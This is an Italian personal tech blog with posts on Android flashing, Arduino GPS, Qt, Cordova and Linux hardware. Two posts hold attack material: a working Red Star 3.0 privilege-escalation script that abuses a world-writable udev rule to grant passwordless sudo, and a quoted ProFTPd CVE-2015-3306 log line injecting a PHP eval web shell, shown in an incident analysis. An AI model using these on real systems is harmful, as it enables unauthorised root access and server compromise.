venerdì 29 gennaio 2016

Hacking Red Star 3.0

Red Star e' un sistema operativo basato su Linux, probabilmente da una Fedora, creato da governo della Nord Corea con l'evidente scopo di tracciare e limitare le attivita' online dei propri utenti,
La notizia della fuga della iso del sistema operativo e' piuttosto vecchiotta cosi' come il sistema per hackerare il sistema ma e' un ottimo esempio di come si puo', su un sistema solido come Linux, effettuare una scalata di privilegi con metodi banali (ovvero senza ricorrere a buffer overflow od exploit particolari) basandosi su una pessima configurazione del sistema

La iso puo' essere scaricata da questo link

Finestra di Login di RedStar

Attenzione : e' fortemente consigliato di giocare con RedStar soltanto all'interno di una macchina virtuale disconnettendo l'interfaccia di rete virtuale ed evitando qualsiasi tipo di condivisione con il filesystem reale o chiavette USB reali (Red Star effettua di nascosto un watermark di tutti i file che scansiona)

Il primo ostacolo che si incontra nella installazione della iso e' che e' tutta (ovviamente) in coreano quindi bisogna andare un po' a caso. Essendo comunque solo una traduzione e non una modifica del procedimento base e' piuttosto semplice concludere il processo

Schermata dell'installazione

A questo punto ho provato a raggiungere una shell. Usando le combinazioni di tasti CTRL+ALT+Fx si ha che su F1 si ha una shell testuale ma a cui non si puo' effettuare il login mentre su F2 si ha X, nessuna altra shell virtual


In realta' frugando nei menu si trova un Xterm. Si deve cliccare sull'icona in basso per aprire il menu dei programmi.


Poi cliccando sulla quarta icona da sinistra nella riga piu' in alto della finestra soprastante (icona del folder verde) si accede alla schermata sottostante


Si clicca sul folder con martello e chiave (che dovrebbe essere qualcosa tipo Utility) e si arriva finalmente all'icona del terminale


Una volta ottenuta la shell si ha il problema che digitando sulla tastiera compaiono caratteri coreani ed e' quindi impossibile digitare i comandi Unix. La soluzione e' quella di premere a lungo e rilasciare il tasto Alt-Gr, a questo punto dovrebbero comparire i caratteri latini e si puo' procedere

e qui inizia la vera e propria scalata dei privilegi
la debolezza del sistema risiede tutta nella cattiva configurazione dei permessi nel file /etv/udev/rules.d/85-hpjl10xx.rules che e' settato come 777
RedStar e' impostato per impedire l'esecuzione di file di sistema ed ovviamente l'utente normale non puo' utilizzare sudo. Pero' il file in esame viene eseguito in fase di boot come root/admin.
Il gioco sta semplicemente nel modificare il file (perche' e' comunque scrivibile) e riavviare il computer per eseguire i comandi aggiunti per prendere il controllo della macchina



lo script (trovato qui) e' il seguente
semplicemente vengono aggiunti tutti gli utenti alla lista sudoers .. di una semplicita' disarmante
---------------------------------------------
 #!/bin/bash -e
 cp /etc/udev/rules.d/85-hplj10xx.rules /tmp/udevhp.bak
 echo 'RUN+="/bin/bash /tmp/r00t.sh"' > /etc/udev/rules.d/85-hplj10xx.rules
 cat <<EOF >/tmp/r00t.sh
 echo -e "ALL\tALL=(ALL)\tNOPASSWD: ALL" >> /etc/sudoers
 mv /tmp/udevhp.bak /etc/udev/rules.d/85-hplj10xx.rules
 chown 0:0 /etc/udev/rules.d/85-hplj10xx.rules
 rm /tmp/r00t.sh
 EOF
 chmod +x /tmp/r00t.sh
 echo "sudo will be available after reboot"
 sleep 2
 reboot
---------------------------------------------







mercoledì 27 gennaio 2016

Normalizzazione immagini con ImageMagick

Per un software di elaborazione immagini, in particolare per calcolare gli spostamenti da un video in timelapse, avevo la necessita' di confrontare immagini con la stessa inquadratura ma con condizioni di luce differenti, possibilmente con procedura batch

Una soluzione e' stata trovata negli script a questo link http://www.fmwconcepts.com/imagemagick/, in particolare bcmatch

Le immagini di riferimento sono state riprese a 11 minuti di distanza all'alba. L'elaborazione ha tentato di riportare le condizioni di illuminazione di Immagine 2 a quelle di Immagine 1 (per confronto si puo' vedere la posizione della Luna nel cielo)

Il risultato non e' perfetto ma decisamente buono e conforme per quanto richiesto dal successivo software di elaborazione.
Immgine 1

Immagine 2

Immagine 2 normalizzata ad Immagine 1

La stessa cosa con le immagini pero' a scala di grigio

Immagine 1 scala grigio

Immagine 2 scala grigio


Immagine 2 normalizzata ad Immagine 1


martedì 26 gennaio 2016

CyanogenMod su XT1032: all'inferno e ritorno

Visto che il mio fidato Moto G 2013 prima edizione (altrimenti conosciuto come XT1032/Falcon) ha ormai raggiunto con Android 5.1 il termine degli aggiornamenti da parte di Motorola (peraltro nel frattempo defunta) ho voluto provare a fare il salto verso Android 6 MarshMallow con la CyanogenMod...mai mossa fu piu' avventata


Per prima cosa e' stato necessario sbloccare il bootloader (le istruzioni ufficiali si trovano a questo link). Non e' una operazione banale come con i Nexus in quanto bisogna far partire il telefono in modalita' fastboot con 

adb reboot bootloader

e poi farsi dire l'identificativo del dispositivo con il comando

fastboot oem get_unlock_data

il telefono risponde con un codice seriale di cinque righe che devono essere copiate e messe su una unica riga alla pagina a questo link
Verra' mandata una mail con un codice molto piu' corto da inserire nel comando

fastboot oem unlock codice_seriale_per_email

al successivo riavvio la tranquilizzante schermata di Moto viene cambiata in questo messaggio vagamente minaccios


il passo successivo e' stato installare la recovery TWRP (ogni telefono ha la sua, per Moto G si scarica da questo link). Facendo ripartire il telefono in modalita' bootloader si flasha la recovery con il comando 

fastboot flash recovery  twrp-2.8.6.0-xt1032.img

sul telefono viene generato un errore di mismatch delle dimensioni del file. va tutto bene, e' solo il telefono che protesta per vedere arrivare un file di dimensioni differenti da quelli di default

Modalita' Download
Ho dovuto fare un paio di tentativi per avere una installazione corretta di TWRP

A questo punto con il tasto Vol - si selezione Recovery e si conferma con il tasto Vol+ e si puo' installare il file zip precedentemente caricato sulla SD.

TWRP
E qui inizia il primo errore.Volendo installare Android 6 ho montato la CyanogenMod 12.1 che pero' corrisponde alla 5.1..quindi non ho guadagnato niente da questa nuova rom (seppure molto veloce). In piu' si e' aggiunto un problema perche' con l'installazione delle OpenGApps non funziona l'orologio di default di Google ne' la ricerca vocale (niente di drammatico ma a ma la sveglia serve)

Fatto 30 ho provato a fare 31 installando la CyanogemMod 13, attualmente solo in night build. Installazione completata correttamente e con il telefono ancora veloce.



Per finire ho montato le OpenGApss per Android 6 ed e' stato l'inizio dei problemi. Al riavvio il telefono era diventato non usabile perche' la Configurazione Automatica di Google (Configuration Wizard) andava in crash ogni secondo rendendo impossibile interagire con il telefono (e stupidamente non avevo prima attivato il supporto via Adb)

Vista l'impossibilita' di usare MarshMallow ho provato a tornare indietro e riflashare la 12.1 ma, per cause non chiare, il telefono e' rimasto per una buona mezz'ora bloccato sulla schermata bianca del bootloader di Motorola (la seconda di questo post) riavviandosi ogni 10 secondi e senza riuscire ad entrare in Download Mode

Dopo una serie di prove sono riuscito a riprendere almeno il controllo del bootloader e dovendo ripristinare la Rom originale almeno ho provato ad inserire la Google Play Edition con questa installazione facilitata

Adesso ho un Moto G  funzionante con Android 5.1 che condivide lo stesso software del Nexus 4

In conclusione:
1) CyanogenMod e' molto veloce ma l'integrazione con le app di Google e' molto delicata e non perfetta per cui si puo' andare rapidamente incontro a problemi

2) E' presto per MarshMallow su Moto G 2013

3) Con la TWRP e' possibile attivare la funzione ADB sideload (nel menu avanzate).Con questo sistema e' possibile flashare una immagine Rom senza caricarla in precedenza sulla memoria del telefono. Durante i vari disastri/tentativi per ripristinare il Moto G mi sono trovato nella condizione di non avere un sistema operativo funzionante e di poter scrivere sulla partizione dello storage. Digitando dal computer

adb sideload  cm-12.1-20151117-SNAPSHOT-YOG7DAO1K9-falcon.zip









venerdì 22 gennaio 2016

Ublox NEO M8N su Arduino

Dopo aver provato vari moduli GPS (qui e qui) per il mio acquisitore, ho comprato un UBlox Neo-M8N che dovrebbe garantire prestazioni un po' piu' professionali mantenendo il costo attorno ai 20-30 euro

In realta' il chip Ublox da solo e' sostanzialmente inutile perche' ha bisogno di elettronica di contorno e non e' banale da saldare in quanto e' SMD, quindi conviene comprare una scheda gia' assemblata. Ho preso quindi su Aliexpress il modulo sottostante, comprensivo di antenna passiva, che giunge con uno strano connettore a 4 fili ed uno a due fili


con un po' di ricerca ho scoperto che questo tipo di connettore e' compatibile con gli autopilot PixHawk, in pratica si tratta di un  modulo pronto per essere montato su un drone. Il mio obbiettivo era quello invece di usarlo con Arduino e visti i cavi sottili ho dovuto usare una millefori per fare una stabile di collegamento tra due tipi di fili di spessore differente 




Per testare il modulo e' disponibile il software Ucenter  per Windows. Non avendo a portata di mano una cavo FTDI ho connesso la seriale TTL dell'Ublox ad una Arduino su una seriale software per poi ridigere tutto sulla porta USB della Arduino (attenzione : il Neo-M8N ha una alimentazione massima a 3.3 V)

Questo e' lo sketch impiegato disponibile tra gli esempi della IDE di Arduino
----------------------------------------

#include <SoftwareSerial.h>

SoftwareSerial mySerial(2, 3); // RX, TX

void setup() {
  Serial.begin(9600);
  while (!Serial) {
  }

  mySerial.begin(9600);
}

void loop() { // run over and over
  if (mySerial.available()) {
    Serial.write(mySerial.read());
  }
  if (Serial.available()) {
    mySerial.write(Serial.read());
  }
}

----------------------------------------

Con il software Ucenter e' semplice avere una rappresentazione grafica della distribuzione dei punti. La nuvola dei punti e' rimasta nell'intorno di +/- 2 m con una standard deviation  inferiore al metro
Si vede chiaramente anche con l'Ublox riceva segnali sia GPS che Glonass


Questa e' la traccia invece plottata sul terreno. La posizione reale era al centro del rettangolo marrone


Questa e' la variazione in altezza registrata

Il modulo testato e' decisamente veloce nell'acquisizione ed ha delle caratteristiche migliori di Adafuit ad un prezzo comparabile. Cio' che manca e' la presenza di un Pin che permetta di spengere l'antenna per risparmiare energia

giovedì 21 gennaio 2016

Leggere file XML in Qt

Avevo necessita' di leggere un file xml generato da una mia applicazione mobile e dovendo scrivere un lettore multipiattaforma la mia scelta e' caduta su Qt

Questo e' il file da leggere
----------------------------
<?xml version="1.0" encoding="UTF-8"?>
<frane>
<frana id="1">
<localita>Pino Torinese</localita>
<comune>Torino</comune>
<data>19/01/2016</data>
<ora>1:45 pm</ora>
<compilatore>Luca Innocenti</compilatore>
<annotazioni></annotazioni>
<est></est>
<nord></nord>
<sistema>WGS84</sistema>
<A>4</A>
<EE>1</EE>
<H>2</H>
<ALPHA>3</ALPHA>
<F>2</F>
<V>4</V>
<M>2</M>
<codice>3/<codice>
</frana>
</frane>
----------------------------

e questo e' lo scheletro del codice Qt (piuttosto autoesplicativo). Prima si carica il file come xmlBOM e poi lo di scorre cercando le varie chiavi
Per la compilazione e' necessario aggiungere al progetto
Qt = + xml

----------------------------
#include "mainwindow.h"
#include "ui_mainwindow.h"

#include <iostream>
#include <QtXml>
#include <QFile>

MainWindow::MainWindow(QWidget *parent) :
    QMainWindow(parent),
    ui(new Ui::MainWindow)
{
    ui->setupUi(this);
}

MainWindow::~MainWindow()
{
    delete ui;
}

void MainWindow::on_pushButton_clicked()
{
     QDomDocument xmlBOM;
     QFile f("/Users/lucainnocenti/Triage.xml");
     if (!f.open(QIODevice::ReadOnly ))
     {
         std::cerr << "Error while loading file" << std::endl;
     }
     xmlBOM.setContent(&f);
     f.close();


     QDomElement root=xmlBOM.documentElement();
     QDomElement Component=root.firstChild().toElement();

     while(!Component.isNull())
     {
         if (Component.tagName()=="frana")
         {
           QDomElement Child=Component.firstChild().toElement();
           QString localita,comune,data,ora,compilatore;
           int A;

             while (!Child.isNull())
             {
                 // Read Name and value
                 if (Child.tagName()=="localita") localita=Child.firstChild().toText().data();
                 if (Child.tagName()=="comune") comune=Child.firstChild().toText().data();
                 if (Child.tagName()=="data") data=Child.firstChild().toText().data();
                 if (Child.tagName()=="ora") ora=Child.firstChild().toText().data();
                 if (Child.tagName()=="compilatore") compilatore=Child.firstChild().toText().data();
                 if (Child.tagName()=="A") A=Child.firstChild().toText().data().toInt();

                 Child = Child.nextSibling().toElement();
             }
             std::cout << "Localita = " << localita.toStdString().c_str() << std::endl;
             std::cout << "Comune = " << comune.toStdString().c_str() << std::endl;
             std::cout << "Data = " << data.toStdString().c_str() << std::endl;
             std::cout << "Ora = " << ora.toStdString().c_str() << std::endl;
             std::cout << "Compilatore = " << compilatore.toStdString().c_str() << std::endl;
             std::cout << "A = " << localita.toStdString().c_str() << std::endl;
             std::cout << std::endl;
             ui->label->setText(comune);
         }
         Component = Component.nextSibling().toElement();
     }
}
----------------------------

mercoledì 20 gennaio 2016

Debian su ToughBook CF-18


Ho preso, per l'uso in campagna (dopo aver rischiato di perdere un Lenovo X202 per l'umidita'), un vecchio Panasonic ToughBook CF-18 ed invece di montare Windows XP ho provato a vedere come reagiva con una Debian moderna (tempo fa avevo provato un Panasonic FZ-A1 che fa parte della stessa famiglia)

La cosa che mi preoccupava di piu' era il riconoscimento del digitalizzatore (non ho preso il modello a touchscreen ma quello che funziona solo con il suo pennino)


In realta' non ho dovuto fare molto perche' il digitalizzatore e' riconosciuto subito dal sistema di installazione di Debian senza nessuna configurazione

Mi ha dato un po' piu' da penare la scheda wireless, una Intel Pro Wireless 2200. Dopo l'installazione ho abilitato i repository non-free  caricato il firmware

apt-get install firmware-ipw2x00
ma in ifconfig nessuna traccia del dispositivo. Leggendo i log di sistema non c'erano errori del caricamento del modulo

La soluzione e' chiamare il comando iwconfig dove si vede che il dispositivo viene chiama eth1 e non wlan0 come mi sarei aspettato



Fatto cio' ho pouto configurare a mano il Network Manager di Lxde (che non riconosce in automatica le schede wireless) e potuto iniziare ad usare il dispositivo (veramente solido ma con una tastiera ed un trackpad da bambino di 10 anni)


martedì 19 gennaio 2016

Sostituire batteria su Moto E

Come il suo fratello maggiore Moto G, anche il Moto E non ha la batteria sostituibile perche' e' bloccata dalla scocca.

Purtroppo il tempo di vita della batteria EL40 e' stato inferiore ai due anni ed invece di ricomprare un altro telefono ho provato la sostituzione. Mi sono comprato su un ecommerce cinese un set di attrezzi per smontare il telefono ma le chiavi si sono mostrate sbagliate

Ho notato che lo chassis che blocca la batteria e' costituito da una sottile lamina di plastica (al contrario del Moto G dove la batteria e' completamente bloccata)




Con molta calma ed agendo dal basso verso l'alto (non e' una buona idea bucare il contenitore di una batteria LiPo) ho tagliato la plastica su uno dei due bordi ed alzato il coperchio


Il connettore della batteria e' a soli due contatti ed e' a pressione.
10 minuti di lavoro e 10 euro di batteria ed il telefono e' tornato funzionante

lunedì 18 gennaio 2016

Gradle error

Oggi compilando, senza modifiche, un progetto Android Studio che fino a due giorni fa funzionava ho avuto l'errore

Plugin is too old, please update to a more recent version, or set ANDROID_DAILY_OVERRIDE environment variable to "efdc9743630b8ba5a00eaeaa1375fff7cdb0e3cb"


la soluzione e' piuttosto nascosto e si deve aggiornare la stringa

classpath 'com.android.tools.build:gradle:2.0.0-alpha2'

a

classpath 'com.android.tools.build:gradle:2.0.0-alpha3'
in build.gradle di CordovaLib ed in build.gradle di Android

mercoledì 13 gennaio 2016

FTP exploit CVE-2015-3306 su Ubuntu 14.04 LTS

Frugando su un server che non amministro direttamente e' stata trovata questa stringa ed e' ovviamente scattato l'allarme generale

proftpd: 31.131.56.168:57602: SITE cpto /tmp/.<?php eval($_REQUEST[cmd]); echo GOOD;?>
dopo una breve verifica e' stata trovato il file di configurazione di Wordpress copiato in una directory leggibile del sistema (wp-contente/themes) ed e' stato chiara la compromissione

analizzando i log di ProFtpd erano presenti nell'ultimo mese solo due accessi di pochi secondi dall'ip sopra indicato (che corrisponde ad un indirizzo polacco...avrei scommesso qualsiasi cosa su Cina e Russia) a testimoniare che l'ospite e' andato a colpo sicuro (forse uno script kiddie)

La macchina in esame era una Ubuntu 14.04 LTS (non aggiornata perche' non era stato impostato il DNS giusto ma vedremo che cio' non ha influito) con montato ProFtpd 1.3.5rc3

Consultando questo link
https://www.exploit-db.com/exploits/36742/
si vede che la versione installata permette l'esecuzione di copia di comandi anche ad utenti non autenticati (mi sembra di essere tornato indietro di 10-12 anni ai tempi di Red Hat 7..)

il codice Php e' una shell Php


Attacchi praticamente identici sono descritti a questo link

A questo punto basta fare un update/upgrade per scaricare la versione patchata del server ftp e si va avanti...peccato che Ubuntu 14.04 non abbia nella lista degli aggiornamenti il server ProFtpd patchato
Guardando meglio a questo link
http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-3306.html
si vede che le versioni del 2015 sono immuni dal problemi mentre la 14.04, benche' sia una LTS e' vulnerabile


per quanto riguarda Debian la versione 7 ha nei repository la versione 1.3.4 (vecchiotta ma sembra esente da problemi di exploit mentre la versione 8 monta la 1.3.5.1 patchata
da questo link si evidenzia che Debian e' esente dal problema https://security-tracker.debian.org/tracker/CVE-2015-3306


Lunga vita a Debian

martedì 12 gennaio 2016

Remix OS 2.0

Doveva uscire oggi la realease pubblica di Remix OS 2.0, una versione a finestra di Android nata per l'ambiente desktop....nonostante le attese pero' non ci sono novita' sul sito ma  frugando su Internet ho trovato una ISO del 30/12/2015 (2 Giga circa, 700 Mb compressi) scaricabile da Google Drive (qualche ora dopo anche il sito ufficiale e' comparsa la versione alpha da 700 Mb con incluso il programma per creare la penna USB avviabile)..la versione ufficiale alpha risulta essere piu' stabile e veloce

Non volendomi giocare un computer ho provato il sistema su Virtualbox (su VMWare non sembra partire)

L'unica accortezza e' quella, al boot, di premere Tab ed agguingere vga=791 per configurare la scheda video
La barra verde e' un errore grafico,cliccandoci sopra diventa nera con il bordo superiore verde
Il sistema puo' funzionare in Guest Mode (avviabile da chiavetta) o Resident Mode (installazione su HD)

Le prime impressioni da utente Android non sono esaltanti piu' che altro perche' il sistema e' molto lento in modo virtualizzato
il sistema a finestra funziona ma non e' presente per tutte le applicazioni (alcune si aprono a tutto schermo e sembra possibile solo minimizzarle)
Dai Settings si osserva che il sistema si basa su Android 5.1.1 e Android_x86_64 bit 4.0.9 ed e' presente un file manager

lunedì 11 gennaio 2016

Compilare Apache/Cordova sotto Android Studio/IOS

Per compilare i progetti Cordova su Android ed IOS di solito faccio creare lo scheletro del  codice  a Cordova ma poi intervengo con Android Studio e XCode per le modifiche

Android
Per prima cosa si devono modificare i file

build.gradle  Module:CordovaLIb
build.gradle Module:android

sostituendo mavenCentral() con jcenter()
e risincronizzando il progetto (altrimenti non si compila)




IOS
Un aspetto fastidioso di Cordova su IOS e' che la WebView fa a corprire parte della statusbar.
Per evitare cio' la cosa piu' semplice e' nascondere la status bar aggiungendo a MainViewController.m la funzione

- (BOOL)prefersStatusBarHidden { return YES; }

Pinch to Zoom
Sia la rotazione del display che il pinch to zoom non sono abilitati di default in Cordova (e questo puo' essere molto fastidioso per utenti mobile abituati a questa funzionalita' praticamente ovunque)


Android

In Android devono essere aggiunta alla MainActivity le righe evidenziate in giallo

------------------------------

import android.os.Bundle;import org.apache.cordova.*;import android.webkit.WebSettings;
import android.webkit.WebView;


public class MainActivity extends CordovaActivity
{
    @Override    public void onCreate(Bundle savedInstanceState)
    {
        super.onCreate(savedInstanceState);
        // Set by <content src="index.html" /> in config.xml        loadUrl(launchUrl);        WebView webView = (WebView) appView.getEngine().getView();
        WebSettings ws = webView.getSettings();
        ws.setSupportZoom(true);
        ws.setBuiltInZoomControls(true);
    }
}

------------------------------

IOS
In Ios si deve modificare il file config.xml in modo da abilitare il ViewPortScale

<platform name="ios">
        <allow-intent href="itms:*" />
        <allow-intent href="itms-apps:*" />
        <preference name='EnableViewportScale' value='true'/>
        <preference name='Orientation' value='all'/>
</platform>

fra le altre cose nel medesimo file si puo' abilitare anche l'Orientation 

venerdì 8 gennaio 2016

PlayStore su FireOS

Ho comprato per i bambini un tablet Amazon da 7 pollici per avere troppi pensieri se veniva distrutto in poco tempo dato il costo di circa 60 euro



Non avevo fatto il conto sul tablet Amazon non gira Android ma FireOS, fortemente derivato da Android ma senza i servizi Google, primo tra tutti Google Play

In realta' e' piuttosto semplice installare Google Play sul dispositivo seguendo le indicazioni a questo link
http://www.howtogeek.com/232726/how-to-install-the-google-play-store-on-your-amazon-fire-tablet/
il pacchetto .zip e' nato per Windows ed e' ridondante perche' se uno ha gia' i driver usb e adb e' piuttosto semplice farne a meno di molte cose


leggendo il file .bat e' piuttosto semplice capire che non c'e' bisogno di exploit per installare Google Play su FireOS..basta copiare ed installare gli apk di Google Play (non sono nemmeno necessari i permessi di root)..vedi righe evidenziate in giallo per l'installazione di Google Play ed azzurro per la rimozione dei servizi Amazon

Fra l'altro lo script permette anche di rimuovere gli aggiornamenti OTA e la ricezione delle offerte Amazon (ma cio' e' vietato se si e' acquistato il dispositivo a prezzo scontato a 59.99 euro al posto di 79.99 euro)

Fra le altre cose, nonostante il costo ridotto, il tablet e' una bella macchinetta anche abbastanza veloce che puo' valere la pena di avere
------------------------------------------------------
::visit Rootjunky.com

::Set our Window Title
@title Amazon Fire Tablet Tool

::Set our default parameters
@echo off
color 0b



:menuLOOP

call:header
::Print our header
::call:header

::Load up our menu selections
echo.--------------------------------------------------------------------------------
for /f "tokens=1,2,* delims=_ " %%A in ('"C:/Windows/system32/findstr.exe /b /c:":menu_" "%~f0""') do echo.  %%B  %%C

call:printstatus

set choice=
echo.&set /p choice= Please make a selection or hit ENTER to exit: ||GOTO:EOF
echo.&call:menu_%choice%

GOTO:menuLOOP

:menu_1    ADB Driver Install                 
cls
color 0b
adb kill-server
adb start-server
echo.--------------------------------------------------------------------------------
echo[*] This option will run a program to get your adb drivers
echo[*] installed for your Amazon Fire Tablet exit program when done
echo.--------------------------------------------------------------------------------
echo.
for /f "tokens=1,2,* delims=_ " %%A in ('"C:/Windows/system32/findstr.exe /b /c:":driver_" "%~f0""') do echo.  %%B  %%C
set choice=
echo.&set /p choice= Please make a selection then hit ENTER:
echo.&call:driver_%choice%
color 0b
cls
GOTO:EOF

:driver_1 ADB driver install
cls
color 0b
echo.--------------------------------------------------------------------------------
echo [*] Before continuing, ensure USB debugging is enabled
echo [*] in your Amazon fire 5th gen settings 
echo [*] go to device options then click on serial number 7 times to enable 
echo [*] developer options then in developer options turn on Enable adb option.
echo [*] MAKES SURE YOUR ANTI VERUS IS OFF. 
echo.--------------------------------------------------------------------------------
echo [*] press any key to start adb driver install
pause >nul
echo.--------------------------------------------------------------------------------
start devmgmt.msc
echo [*] Device Manager should open up wait for it. 
echo [*] Find Amazon Fire and right click on it. 
echo [*] Select Properties then Update Driver 
echo [*] "Browse My Computer For Driver Software" 
echo [*] "Let Me Pick from a List of Device Drivers on my Computer
echo [*] choose Have Disk
echo [*] Browse to the usb_drivers fold that is in this tool
echo [*] then click Next NOTE drivers are not signed this is fine. 
echo [*] once installed ADB should find the Amazon Fire Tablet.
echo.--------------------------------------------------------------------------------
echo [*] please run the driver test to make sure drivers work before installing apps
echo.--------------------------------------------------------------------------------
pause
echo [*] RootJunky OUT
set choice=
echo.&set /p choice= hit ENTER to return to start: ||GOTO:EOF
echo.&call:bootsubmenu_%choice%
color 0b
cls
GOTO:EOF

:driver_2  ADB Driver Test
cls
color 0b
adb kill-server
adb start-server
echo [*] Press any key to check if your drivers are installed
echo [*] correctly. 
echo.--------------------------------------------------------------------------------
pause > nul
echo.--------------------------------------------------------------------------------
echo [*] Is there a device listed under list of devices attached?
echo [*] If no then reboot computer and run the driver install option 
echo [*] again then recheck
echo [*] If device serial number listed then drivers are installed.
echo [*] Press any key to continue
echo.--------------------------------------------------------------------------------
adb devices
pause > nul
adb kill-server
echo [*] RootJunky OUT
set choice=
echo.&set /p choice= hit ENTER to return to start: ||GOTO:EOF
echo.&call:bootsubmenu_%choice%
color 0b
cls
GOTO:EOF


:menu_2 Install Google Play store and remove ads from lock screen
cls
color 0b
adb kill-server
adb start-server
echo.--------------------------------------------------------------------------------
echo First you must turn on ADB DEBUGGING in your Amazon fire 5th gen settings 
echo go to device options then click on serial number 7 times to enable 
echo developer options then in developer options turn on Enable adb option.
echo also make sure your drivers are installed 
echo.--------------------------------------------------------------------------------
pause
cls
adb wait-for-devices
echo [*] Installing Google Play Store apps this will take some time
echo.--------------------------------------------------------------------------------
echo [*] Installing app 1 of 4
adb install com.google.android.gms-6.6.03_(1681564-036)-6603036-minAPI9.apk
echo.--------------------------------------------------------------------------------
echo [*] Installing app 2 of 4
adb install GoogleLoginService.apk
echo.--------------------------------------------------------------------------------
echo [*] Installing app 3 of 4
adb install GoogleServicesFramework.apk
adb shell pm grant com.google.android.gms android.permission.INTERACT_ACROSS_USERS
echo.--------------------------------------------------------------------------------
echo [*] Installing app 4 of 4
adb install com.android.vending-5.9.12-80391200-minAPI9.apk
adb shell pm hide com.amazon.kindle.kso
cls
echo [*] all apps installed and permissions set.
echo [*] Also removed the ads from your lock screen.. your welcome
echo [*] please reboot device to fully remove ads then sign into Play store
echo.--------------------------------------------------------------------------------
adb kill-server
pause
color 0b
cls
GOTO:EOF


:menu_3 block OTA updates from Amazon
cls
color 0b
adb kill-server
adb start-server
echo.--------------------------------------------------------------------------------
echo First you must turn on ADB DEBUGGING in your Amazon fire 5th gen settings 
echo go to device options then click on serial number 7 times to enable 
echo developer options then in developer options turn on Enable adb option.
echo also make sure your drivers are installed 
echo.--------------------------------------------------------------------------------
pause
cls
adb wait-for-devices
adb shell pm hide com.amazon.otaverifier
adb shell pm hide com.amazon.device.software.ota
adb shell pm hide com.amazon.settings.systemupdates
echo.--------------------------------------------------------------------------------
echo [*] OTA update have now been blocked to protect root
echo [*] and keep Amazon from patching our exploits 
echo.--------------------------------------------------------------------------------
adb kill-server
pause
color 0b
cls
GOTO:EOF


:menu_4 unblock OTA updates from Amazon
cls
color 0b
adb kill-server
adb start-server
echo.--------------------------------------------------------------------------------
echo First you must turn on ADB DEBUGGING in your Amazon fire 5th gen settings 
echo go to device options then click on serial number 7 times to enable 
echo developer options then in developer options turn on Enable adb option.
echo also make sure your drivers are installed 
echo.--------------------------------------------------------------------------------
pause
cls
adb wait-for-devices
adb shell pm unhide com.amazon.otaverifier
adb shell pm unhide com.amazon.device.software.ota
adb shell pm unhide com.amazon.settings.systemupdates
echo.--------------------------------------------------------------------------------
echo [*] OTA update have now been unblocked
echo [*] and amazon can now auto update your device.
echo.--------------------------------------------------------------------------------
adb kill-server
pause
color 0b
cls
GOTO:EOF



:header  
cls        
color 0e
echo.[////////////////////////////      //////////            //////////////////////]                                                                           
echo.[///////////////////////////  ///   //////////////  ///////////////////////////]                                                                            
echo.[//////////////////////////  ////  //////////////  ////////////////////////////]                                                                    
echo.[/////////////////////////  //   ///////////////  /////////////////////////////]                                       
echo.[////////////////////////  ////  /////////  ///  //////////////////////////////]                                  
echo.[///////////////////////  //////  /////////    ////////////////////////////////]
echo.            RootJunkys Amazon Fire Tablet Google Play store Install
echo.             Huge thanks to SD-Shadow for his work on this device.
echo.--------------------------------------------------------------------------------
echo.
adb kill-server
adb start-server
echo.--------------------------------------------------------------------------------
adb devices
timeout 5 > nul
adb kill-server
cls
color 0b
GOTO:EOF

:printstatus
echo.
echo. Lets Do This...
echo.--------------------------------------------------------------------------------

GOTO:EOF

------------------------------------------------------

E' possibile fare anche il root del dispositivo come indicato qui
http://rootjunkysdl.com/?device=Amazon%20Fire%205th%20gen&tag=823814-20
ma il modo in cui viene effettuato non e' cosi' banale come nel caso sopra presentato